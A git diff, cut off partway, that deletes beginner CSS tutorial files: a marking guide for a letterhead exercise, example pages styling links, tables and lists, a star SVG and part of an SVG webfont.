-<dt>"Add a white background color to the letter." (1 mark)</dt>
-<dd>Easy — <code>background-color: white;</code>.</dd>
-<dt>"Add a 1mm top and bottom solid border to the letter, in a color that is inkeeping with the rest of the color scheme." (3 marks)</dt>
-<dd>Two marks for an appropriate <code>border-top</code> and <code>border-bottom</code> declaration (one for each), and one mark for choosing an appropriate color to go with the top and bottom graphics (e.g. a red or brown for the default provided options).</dd>
-</dl>
-
-## The logo
-
-<dl>
-<dt>"To the <code>&lt;h1&gt;</code>, add the logo as a background image." (1 mark)</dt>
-<dd>One mark for an appropriate use of <code>background</code> to add the logo image. For example <code>background-image: url(logo.png);</code>.</dd>
-<dt>"Add a filter to the logo to give it a subtle drop shadow." (2 marks)</dt>
-<dd>One mark for using the <code>filter</code> property, and one mark for a suitable value, e.g. <code>drop-shadow(3px 3px 3px black)</code>.</dd>
-<dt>"Now comment out the filter and implement the drop shadow in a different (slightly more cross-browser compatible) way, which still follows the shape of the round image." (3 marks)</dt>
-<dd>The marks available are:
-  <ul>
-    <li>One mark for commenting out the filter property.</li>
-    <li>One mark for making the box circular. <code>border-radius: 64px;</code> or <code>border-radius: 50%;</code> would both be fine.</li>
-    <li>One mark for appropriate use of the <code>box-shadow</code> property.</li>
-  </ul>
-</dd>
-
-</dl>
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/style.css b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/style.css
deleted file mode 100644
index 3b780d55d1..0000000000
--- a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/style.css
+++ /dev/null
@@ -1,57 +0,0 @@
-* {
-    box-sizing: border-box;
-}
-
-html {
-    font-family: sans-serif;
-}
-
-body {
-    margin: 0;
-    background: #ccc;
-}
-
-article {
-    width: 210mm;
-    height: 297mm;
-    margin: 20px auto;
-    position: relative;
-}
-
-address {
-    position: absolute;
-    bottom: 8mm;
-    right: 20mm;
-}
-
-h1 {
-    position: absolute;
-    top: 12mm;
-    left: 20mm;
-    width: 128px;
-    height: 128px;
-    font-size: 20px;
-    letter-spacing: 1px;
-    text-align: center;
-    padding: 44px 0;
-    color: white;
-    text-shadow: 1px 1px 1px black;
-}
-
-/* background images, border */
-
-article {
-    background: url(top-image.png) no-repeat left top;
-    background: linear-gradient(to bottom, rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0) 20%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0.2)),
-        url(top-image.png) no-repeat left top, url(bottom-image.png) no-repeat left bottom;
-    background-color: white;
-    border-top: 1mm solid red;
-    border-bottom: 1mm solid red;
-}
-
-h1 {
-    background-image: url(logo.png);
-    /* filter: drop-shadow(3px 3px 3px black); */
-    border-radius: 64px;
-    box-shadow: 3px 3px 3px black;
-}
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/top-image.png b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/top-image.png
deleted file mode 100644
index 802b267084..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-finished/top-image.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/index.html b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/index.html
deleted file mode 100644
index c6cda92330..0000000000
--- a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Fancy letterheaded paper</title>
-    </head>
-
-    <body>
-        <article>
-            <h1>Awesome<br />Company</h1>
-
-            <address>
-                <p>The Awesome Company</p>
-                <p>
-                    102-112 Frail Bend Bridge<br />
-                    The Dwindlings<br />
-                    Little Hornet<br />
-                    HX3 9ZQ<br />
-                    UK
-                </p>
-            </address>
-        </article>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/style.css b/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/style.css
deleted file mode 100644
index bd2b116d46..0000000000
--- a/docs/content/learning-area/css/styling-boxes/letterheaded-paper-start/style.css
+++ /dev/null
@@ -1,41 +0,0 @@
-* {
-    box-sizing: border-box;
-}
-
-html {
-    font-family: sans-serif;
-}
-
-body {
-    margin: 0;
-    background: #ccc;
-}
-
-article {
-    width: 210mm;
-    height: 297mm;
-    margin: 20px auto;
-    position: relative;
-}
-
-address {
-    position: absolute;
-    bottom: 8mm;
-    right: 20mm;
-}
-
-h1 {
-    position: absolute;
-    top: 12mm;
-    left: 20mm;
-    width: 128px;
-    height: 128px;
-    font-size: 20px;
-    letter-spacing: 1px;
-    text-align: center;
-    padding: 44px 0;
-    color: white;
-    text-shadow: 1px 1px 1px black;
-}
-
-/* Your CSS below here */
diff --git a/docs/content/learning-area/css/styling-boxes/styling-tables/leopardskin.jpg b/docs/content/learning-area/css/styling-boxes/styling-tables/leopardskin.jpg
deleted file mode 100644
index 79b38c4f79..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/styling-tables/leopardskin.jpg and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/styling-tables/noise.png b/docs/content/learning-area/css/styling-boxes/styling-tables/noise.png
deleted file mode 100644
index 11103f9d8a..0000000000
Binary files a/docs/content/learning-area/css/styling-boxes/styling-tables/noise.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html b/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html
deleted file mode 100644
index fa9550eb20..0000000000
--- a/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html
+++ /dev/null
@@ -1,81 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>UK punk bands</title>
-        <link href="https://fonts.googleapis.com/css?family=Rock+Salt" rel="stylesheet" type="text/css" />
-        <link href="style.css" rel="stylesheet" type="text/css" />
-    </head>
-
-    <body>
-        <table>
-            <caption>
-                A summary of the UK's most famous punk bands
-            </caption>
-            <thead>
-                <tr>
-                    <th scope="col">Band</th>
-                    <th scope="col">Year formed</th>
-                    <th scope="col">No. of Albums</th>
-                    <th scope="col">Most famous song</th>
-                </tr>
-            </thead>
-            <tbody>
-                <tr>
-                    <th scope="row">Buzzcocks</th>
-                    <td>1976</td>
-                    <td>9</td>
-                    <td>Ever fallen in love (with someone you shouldn't've)</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Clash</th>
-                    <td>1976</td>
-                    <td>6</td>
-                    <td>London Calling</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Damned</th>
-                    <td>1976</td>
-                    <td>10</td>
-                    <td>Smash it up</td>
-                </tr>
-                <tr>
-                    <th scope="row">Sex Pistols</th>
-                    <td>1975</td>
-                    <td>1</td>
-                    <td>Anarchy in the UK</td>
-                </tr>
-                <tr>
-                    <th scope="row">Sham 69</th>
-                    <td>1976</td>
-                    <td>13</td>
-                    <td>If The Kids Are United</td>
-                </tr>
-                <tr>
-                    <th scope="row">Siouxsie and the Banshees</th>
-                    <td>1976</td>
-                    <td>11</td>
-                    <td>Hong Kong Garden</td>
-                </tr>
-                <tr>
-                    <th scope="row">Stiff Little Fingers</th>
-                    <td>1977</td>
-                    <td>10</td>
-                    <td>Suspect Device</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Stranglers</th>
-                    <td>1974</td>
-                    <td>17</td>
-                    <td>No More Heroes</td>
-                </tr>
-            </tbody>
-            <tfoot>
-                <tr>
-                    <th scope="row" colspan="2">Total albums</th>
-                    <td colspan="2">77</td>
-                </tr>
-            </tfoot>
-        </table>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html b/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html
deleted file mode 100644
index 40bbe744f0..0000000000
--- a/docs/content/learning-area/css/styling-boxes/styling-tables/punk-bands-unstyled.html
+++ /dev/null
@@ -1,79 +0,0 @@
-<!DOCTYPE html>
-<html lang="en">
-    <head>
-        <meta charset="utf-8" />
-        <title>UK punk bands</title>
-    </head>
-
-    <body>
-        <table>
-            <caption>
-                A summary of the UK's most famous punk bands
-            </caption>
-            <thead>
-                <tr>
-                    <th scope="col">Band</th>
-                    <th scope="col">Year formed</th>
-                    <th scope="col">No. of Albums</th>
-                    <th scope="col">Most famous song</th>
-                </tr>
-            </thead>
-            <tbody>
-                <tr>
-                    <th scope="row">Buzzcocks</th>
-                    <td>1976</td>
-                    <td>9</td>
-                    <td>Ever fallen in love (with someone you shouldn't've)</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Clash</th>
-                    <td>1976</td>
-                    <td>6</td>
-                    <td>London Calling</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Damned</th>
-                    <td>1976</td>
-                    <td>10</td>
-                    <td>Smash it up</td>
-                </tr>
-                <tr>
-                    <th scope="row">Sex Pistols</th>
-                    <td>1975</td>
-                    <td>1</td>
-                    <td>Anarchy in the UK</td>
-                </tr>
-                <tr>
-                    <th scope="row">Sham 69</th>
-                    <td>1976</td>
-                    <td>13</td>
-                    <td>If The Kids Are United</td>
-                </tr>
-                <tr>
-                    <th scope="row">Siouxsie and the Banshees</th>
-                    <td>1976</td>
-                    <td>11</td>
-                    <td>Hong Kong Garden</td>
-                </tr>
-                <tr>
-                    <th scope="row">Stiff Little Fingers</th>
-                    <td>1977</td>
-                    <td>10</td>
-                    <td>Suspect Device</td>
-                </tr>
-                <tr>
-                    <th scope="row">The Stranglers</th>
-                    <td>1974</td>
-                    <td>17</td>
-                    <td>No More Heroes</td>
-                </tr>
-            </tbody>
-            <tfoot>
-                <tr>
-                    <th scope="row" colspan="2">Total albums</th>
-                    <td colspan="2">77</td>
-                </tr>
-            </tfoot>
-        </table>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-boxes/styling-tables/style.css b/docs/content/learning-area/css/styling-boxes/styling-tables/style.css
deleted file mode 100644
index a5b6c4eef4..0000000000
--- a/docs/content/learning-area/css/styling-boxes/styling-tables/style.css
+++ /dev/null
@@ -1,100 +0,0 @@
-/* spacing */
-
-table {
-    table-layout: fixed;
-    width: 100%;
-    border-collapse: collapse;
-    border: 3px solid purple;
-}
-
-thead th:nth-child(1) {
-    width: 30%;
-}
-
-thead th:nth-child(2) {
-    width: 20%;
-}
-
-thead th:nth-child(3) {
-    width: 15%;
-}
-
-thead th:nth-child(4) {
-    width: 35%;
-}
-
-th,
-td {
-    padding: 20px;
-}
-
-/* typography */
-
-html {
-    font-family: 'helvetica neue', helvetica, arial, sans-serif;
-}
-
-thead th,
-tfoot th {
-    font-family: 'Rock Salt', cursive;
-}
-
-th {
-    letter-spacing: 2px;
-}
-
-td {
-    letter-spacing: 1px;
-}
-
-tbody td {
-    text-align: center;
-}
-
-tfoot th {
-    text-align: right;
-}
-
-/* graphics */
-
-thead,
-tfoot {
-    background: url(leopardskin.jpg);
-    color: white;
-}
-
-thead th,
-tfoot th,
-tfoot td {
-    background: linear-gradient(to bottom, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.5));
-    border: 3px solid purple;
-    text-shadow: 1px 1px 1px black;
-}
-
-tbody tr:nth-child(odd) {
-    background-color: #ff33cc;
-}
-
-tbody tr:nth-child(even) {
-    background-color: #e495e4;
-}
-
-tbody tr {
-    background-image: url(noise.png);
-}
-
-table {
-    background-color: #ff33cc;
-}
-
-/* caption */
-
-caption {
-    font-family: 'Rock Salt', cursive;
-    padding: 20px;
-    font-style: italic;
-    caption-side: bottom;
-    color: #666;
-    text-align: right;
-    letter-spacing: 1px;
-}
diff --git a/docs/content/learning-area/css/styling-text/fundamentals/index.html b/docs/content/learning-area/css/styling-text/fundamentals/index.html
deleted file mode 100644
index 445193db58..0000000000
--- a/docs/content/learning-area/css/styling-text/fundamentals/index.html
+++ /dev/null
@@ -1,49 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Fundamental text styling</title>
-        <style>
-            html {
-                font-size: 10px;
-            }
-
-            h1 {
-                font-size: 5rem;
-                text-transform: capitalize;
-                text-shadow: 1px 1px 1px red, 2px 2px 1px red;
-                text-align: center;
-                letter-spacing: 2px;
-            }
-
-            h1 + p {
-                font-weight: bold;
-            }
-
-            p::first-line {
-                letter-spacing: 4px;
-                word-spacing: 4px;
-            }
-
-            p {
-                font-size: 1.5rem;
-                color: red;
-                font-family: Helvetica, Arial, sans-serif;
-                line-height: 1.6;
-                letter-spacing: 1px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <h1>Tommy the cat</h1>
-
-        <p>Well I remember it as though it were a meal ago...</p>
-
-        <p>
-            Said Tommy the Cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. Many a fat alley rat had met
-            its demise while staring point blank down the cavernous barrel of this awesome prowling machine. Truly a wonder of nature this urban predator —
-            Tommy the cat had many a story to tell. But it was a rare occasion such as this that he did.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-links/default-styles.html b/docs/content/learning-area/css/styling-text/styling-links/default-styles.html
deleted file mode 100644
index 73088fb35f..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-links/default-styles.html
+++ /dev/null
@@ -1,17 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Default link styles</title>
-        <style>
-            p {
-                font-size: 3rem;
-                text-align: center;
-            }
-        </style>
-    </head>
-
-    <body>
-        <p><a href="http://mozilla.org">A link to the Mozilla homepage</a></p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-links/external-link-.png b/docs/content/learning-area/css/styling-text/styling-links/external-link-.png
deleted file mode 100644
index 7a34cff47c..0000000000
Binary files a/docs/content/learning-area/css/styling-text/styling-links/external-link-.png and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/styling-links/external-link-icon.html b/docs/content/learning-area/css/styling-text/styling-links/external-link-icon.html
deleted file mode 100644
index 2f62dd3346..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-links/external-link-icon.html
+++ /dev/null
@@ -1,55 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>External link icon</title>
-        <style>
-            body {
-                width: 300px;
-                margin: 0 auto;
-                font-family: sans-serif;
-            }
-
-            p {
-                line-height: 1.4;
-            }
-
-            a {
-                outline: none;
-                text-decoration: none;
-                padding: 2px 1px 0;
-            }
-
-            a:link {
-                color: blue;
-            }
-
-            a:visited {
-                color: purple;
-            }
-
-            a:focus,
-            a:hover {
-                border-bottom: 1px solid;
-            }
-
-            a:active {
-                color: red;
-            }
-
-            a[href*='http'] {
-                background: url('external-link-52.png') no-repeat 100% 0;
-                background-size: 16px 16px;
-                padding-right: 19px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <p>
-            For more information on the weather, visit our <a href="weather.html">weather page</a>, look at
-            <a href="https://en.wikipedia.org/wiki/Weather">weather on Wikipedia</a>, or check out
-            <a href="http://www.extremescience.com/weather.htm">weather on Extreme Science</a>.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-links/link-buttons.html b/docs/content/learning-area/css/styling-text/styling-links/link-buttons.html
deleted file mode 100644
index 53d7f0ffe7..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-links/link-buttons.html
+++ /dev/null
@@ -1,63 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Link buttons</title>
-        <style>
-            body,
-            html {
-                margin: 0;
-                font-family: sans-serif;
-            }
-
-            ul {
-                padding: 0;
-                width: 100%;
-            }
-
-            li {
-                display: inline;
-            }
-
-            a {
-                outline: none;
-                text-decoration: none;
-                display: inline-block;
-                width: 19.5%;
-                margin-right: 0.625%;
-                text-align: center;
-                line-height: 3;
-                color: black;
-            }
-
-            li:last-child a {
-                margin-right: 0;
-            }
-
-            a:link,
-            a:visited,
-            a:focus {
-                background: yellow;
-            }
-
-            a:hover {
-                background: orange;
-            }
-
-            a:active {
-                background: red;
-                color: white;
-            }
-        </style>
-    </head>
-
-    <body>
-        <ul>
-            <li><a href="#">Home</a></li>
-            <li><a href="#">Pizza</a></li>
-            <li><a href="#">Music</a></li>
-            <li><a href="#">Wombats</a></li>
-            <li><a href="#">Finland</a></li>
-        </ul>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-links/styled-links.html b/docs/content/learning-area/css/styling-text/styling-links/styled-links.html
deleted file mode 100644
index 97c4a67826..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-links/styled-links.html
+++ /dev/null
@@ -1,55 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Styled links</title>
-        <style>
-            body {
-                width: 300px;
-                margin: 0 auto;
-                font-family: sans-serif;
-            }
-
-            p {
-                line-height: 1.4;
-            }
-
-            a {
-                outline: none;
-                text-decoration: none;
-                padding: 2px 1px 0;
-            }
-
-            a:link {
-                color: #265301;
-            }
-
-            a:visited {
-                color: #437a16;
-            }
-
-            a:focus {
-                border-bottom: 1px solid;
-                background: #bae498;
-            }
-
-            a:hover {
-                border-bottom: 1px solid;
-                background: #cdfeaa;
-            }
-
-            a:active {
-                background: #265301;
-                color: #cdfeaa;
-            }
-        </style>
-    </head>
-
-    <body>
-        <p>
-            There are several browsers available, such as <a href="https://www.mozilla.org/en-US/firefox/">Mozilla Firefox</a>,
-            <a href="https://www.google.com/chrome/index.html">Google Chrome</a>, and
-            <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a>.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-lists/index.html b/docs/content/learning-area/css/styling-text/styling-lists/index.html
deleted file mode 100644
index 4d8266cda9..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-lists/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Styling lists</title>
-        <style>
-            /* General styles */
-
-            html {
-                font-family: Helvetica, Arial, sans-serif;
-                font-size: 10px;
-            }
-
-            h2 {
-                font-size: 2rem;
-            }
-
-            ul,
-            ol,
-            dl,
-            p {
-                font-size: 1.5rem;
-            }
-
-            li,
-            p {
-                line-height: 1.5;
-            }
-
-            /* Unordered list styles */
-
-            ul {
-                padding-left: 2rem;
-                list-style-type: none;
-            }
-
-            ul li {
-                padding-left: 2rem;
-                background-image: url(star.svg);
-                background-position: 0 0;
-                background-size: 1.6rem 1.6rem;
-                background-repeat: no-repeat;
-            }
-
-            /* Ordered list styles */
-
-            ol {
-                list-style-type: upper-roman;
-            }
-
-            /* Description list styles */
-
-            dd,
-            dt {
-                line-height: 1.5;
-            }
-
-            dt {
-                font-weight: bold;
-            }
-        </style>
-    </head>
-
-    <body>
-        <h2>Shopping (unordered) list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <ul>
-            <li>Humous</li>
-            <li>Pitta</li>
-            <li>Green salad</li>
-            <li>Halloumi</li>
-        </ul>
-
-        <h2>Recipe (ordered) list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <ol start="4">
-            <li>Toast pitta, leave to cool, then slice down the edge.</li>
-            <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-            <li>Wash and chop the salad.</li>
-            <li>Fill pitta with salad, humous, and fried halloumi.</li>
-        </ol>
-
-        <h2>Ingredient description list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <dl>
-            <dt>Humous</dt>
-            <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
-            <dt>Pitta</dt>
-            <dd>A soft, slightly leavened flatbread.</dd>
-            <dt>Halloumi</dt>
-            <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
-            <dt>Green salad</dt>
-            <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
-        </dl>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/styling-lists/star.svg b/docs/content/learning-area/css/styling-text/styling-lists/star.svg
deleted file mode 100644
index 83781e3a5c..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-lists/star.svg
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no" ?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
-    xmlns:dc="http://purl.org/dc/elements/1.1/"
-    xmlns:cc="http://creativecommons.org/ns#"
-    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-    xmlns:svg="http://www.w3.org/2000/svg"
-    xmlns="http://www.w3.org/2000/svg"
-    xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
-    xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
-    width="100"
-    height="100"
-    viewBox="0 0 100 100"
-    id="svg3420"
-    version="1.1"
-    inkscape:version="0.91 r13725"
-    sodipodi:docname="star.svg"
-    inkscape:export-filename="/Users/chrismills/git/learning-area/html/multimedia-and-embedding/adding-vector-graphics-to-the-web/star.png"
-    inkscape:export-xdpi="90"
-    inkscape:export-ydpi="90"
->
-  <defs id="defs3422" />
-  <sodipodi:namedview
-        id="base"
-        pagecolor="#ffffff"
-        bordercolor="#666666"
-        borderopacity="1.0"
-        inkscape:pageopacity="0.0"
-        inkscape:pageshadow="2"
-        inkscape:zoom="0.7"
-        inkscape:cx="124.24634"
-        inkscape:cy="478.43084"
-        inkscape:document-units="px"
-        inkscape:current-layer="layer1"
-        showgrid="false"
-        inkscape:window-width="1920"
-        inkscape:window-height="981"
-        inkscape:window-x="0"
-        inkscape:window-y="1"
-        inkscape:window-maximized="1"
-        units="px"
-    />
-  <metadata id="metadata3425">
-    <rdf:RDF>
-      <cc:Work rdf:about="">
-        <dc:format>image/svg+xml</dc:format>
-        <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
-        <dc:title />
-      </cc:Work>
-    </rdf:RDF>
-  </metadata>
-  <g inkscape:label="Layer 1" inkscape:groupmode="layer" id="layer1" transform="translate(0,-952.36216)">
-    <path
-            sodipodi:type="star"
-            style="fill:#000000;stroke:#000000;stroke-opacity:1"
-            id="path3434"
-            sodipodi:sides="5"
-            sodipodi:cx="400"
-            sodipodi:cy="460.93365"
-            sodipodi:r1="214.79938"
-            sodipodi:r2="107.39969"
-            sodipodi:arg1="1.0714496"
-            sodipodi:arg2="1.6997681"
-            inkscape:flatsided="false"
-            inkscape:rounded="0"
-            inkscape:randomized="0"
-            d="m 502.85714,649.50508 -116.6703,-82.06373 -133.74432,49.58703 41.99414,-136.31913 -88.48934,-111.87517 142.62411,-2.18613 79.0549,-118.72969 46.15241,134.96803 137.34794,38.49619 -114.10034,85.60096 z"
-            inkscape:transform-center-x="-2.0200332"
-            inkscape:transform-center-y="-2.7869627"
-            transform="matrix(0.23662098,0,0,0.22802893,-44.118623,900.03849)"
-        />
-    <path
-            transform="matrix(0.23662098,0,0,0.22802893,-46.429224,897.66953)"
-            inkscape:transform-center-y="-2.7869704"
-            inkscape:transform-center-x="-2.0200332"
-            d="m 502.85714,649.50508 -116.6703,-82.06373 -133.74432,49.58703 41.99414,-136.31913 -88.48934,-111.87517 142.62411,-2.18613 79.0549,-118.72969 46.15241,134.96803 137.34794,38.49619 -114.10034,85.60096 z"
-            inkscape:randomized="0"
-            inkscape:rounded="0"
-            inkscape:flatsided="false"
-            sodipodi:arg2="1.6997681"
-            sodipodi:arg1="1.0714496"
-            sodipodi:r2="107.39969"
-            sodipodi:r1="214.79938"
-            sodipodi:cy="460.93365"
-            sodipodi:cx="400"
-            sodipodi:sides="5"
-            id="path3463"
-            style="fill:#ff0000;stroke:#000000;stroke-opacity:1"
-            sodipodi:type="star"
-        />
-  </g>
-</svg>
diff --git a/docs/content/learning-area/css/styling-text/styling-lists/unstyled-list.html b/docs/content/learning-area/css/styling-text/styling-lists/unstyled-list.html
deleted file mode 100644
index 82ade8edd6..0000000000
--- a/docs/content/learning-area/css/styling-text/styling-lists/unstyled-list.html
+++ /dev/null
@@ -1,55 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Styling lists</title>
-    </head>
-
-    <body>
-        <h2>Shopping (unordered) list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <ul>
-            <li>Humous</li>
-            <li>Pitta</li>
-            <li>Green salad</li>
-            <li>Halloumi</li>
-        </ul>
-
-        <h2>Recipe (ordered) list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <ol>
-            <li>Toast pitta, leave to cool, then slice down the edge.</li>
-            <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li>
-            <li>Wash and chop the salad</li>
-            <li>Fill Pitta with salad, humous, and fried halloumi.</li>
-        </ol>
-
-        <h2>Ingredient description list</h2>
-
-        <p>
-            Paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for
-            reference.
-        </p>
-
-        <dl>
-            <dt>Humous</dt>
-            <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd>
-            <dt>Pitta</dt>
-            <dd>A soft, slightly leavened flatbread.</dd>
-            <dt>Halloumi</dt>
-            <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd>
-            <dt>Green salad</dt>
-            <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd>
-        </dl>
-    </body>
-</html>
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.eot b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.eot
deleted file mode 100644
index 5a2ace11a7..0000000000
Binary files a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.eot and /dev/null differ
diff --git a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.svg b/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.svg
deleted file mode 100644
index 9cf1608016..0000000000
--- a/docs/content/learning-area/css/styling-text/typesetting-a-homepage-finished/fonts/Lovato-Light-webfont.svg
+++ /dev/null
@@ -1,1037 +0,0 @@
-<?xml version="1.0" standalone="no" ?>
-<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
-<svg xmlns="http://www.w3.org/2000/svg">
-<metadata />
-<defs>
-<font id="lovatolight" horiz-adv-x="549">
-<font-face units-per-em="1100" ascent="880" descent="-220" />
-<missing-glyph horiz-adv-x="251" />
-<glyph horiz-adv-x="0" />
-<glyph horiz-adv-x="366" />
-<glyph unicode=" " horiz-adv-x="251" />
-<glyph unicode="&#x09;" horiz-adv-x="251" />
-<glyph unicode="&#xa0;" horiz-adv-x="251" />
-<glyph
-                unicode="!"
-                horiz-adv-x="209"
-                d="M114 187h-16l-35 493h83zM104 84q20 0 35 -15.5t15 -35.5q0 -19 -15 -33.5t-35 -14.5q-21 0 -35 14t-14 34q0 21 14 36t35 15z"
-            />
-<glyph
-                unicode="&#x22;"
-                horiz-adv-x="403"
-                d="M107 726q23 0 40 -17.5t17 -40.5l-52 -213h-10l-52 213q0 23 16.5 40.5t40.5 17.5zM286 726q23 0 40 -17.5t17 -40.5l-52 -213h-10l-52 213q0 23 16.5 40.5t40.5 17.5z"
-            />
-<glyph
-                unicode="#"
-                horiz-adv-x="622"
-                d="M448 314l-28 -118h117v-49h-129l-35 -147h-57l35 147h-150l-35 -147h-57l35 147h-89v49h101l28 118h-99v49h110l33 137h57l-33 -137h150l33 137h57l-33 -137h108v-49h-119zM391 314h-150l-28 -118h150z"
-            />
-<glyph
-                unicode="$"
-                d="M482 181q0 -60 -41.5 -107t-117.5 -59v-52h-55v48q-113 2 -188 67v88h11q30 -47 80.5 -73t111.5 -26q63 0 97.5 31.5t34.5 76.5q0 54 -39 83t-164 79q-64 26 -97 65t-33 102q0 70 54 116t132 49v48h55v-51q76 -9 130 -47v-84h-10q-26 35 -71 56t-94 21q-56 0 -92 -30 t-36 -77q0 -54 40 -83.5t149 -73.5q68 -27 105.5 -65.5t37.5 -101.5z"
-            />
-<glyph
-                unicode="%"
-                horiz-adv-x="864"
-                d="M217 695q73 0 124 -51t51 -126t-51 -126t-124 -51t-124 51t-51 126t51 126t124 51zM231 0h-62l469 680h62zM217 645q-54 0 -85.5 -38.5t-31.5 -88.5t31.5 -88.5t85.5 -38.5t85.5 38.5t31.5 88.5t-31.5 88.5t-85.5 38.5zM647 339q73 0 124 -51t51 -126t-51 -126t-124 -51 t-124 51t-51 126t51 126t124 51zM647 289q-54 0 -85.5 -38.5t-31.5 -88.5t31.5 -88.5t85.5 -38.5t85.5 38.5t31.5 88.5t-31.5 88.5t-85.5 38.5z"
-            />
-<glyph
-                unicode="&#x26;"
-                horiz-adv-x="744"
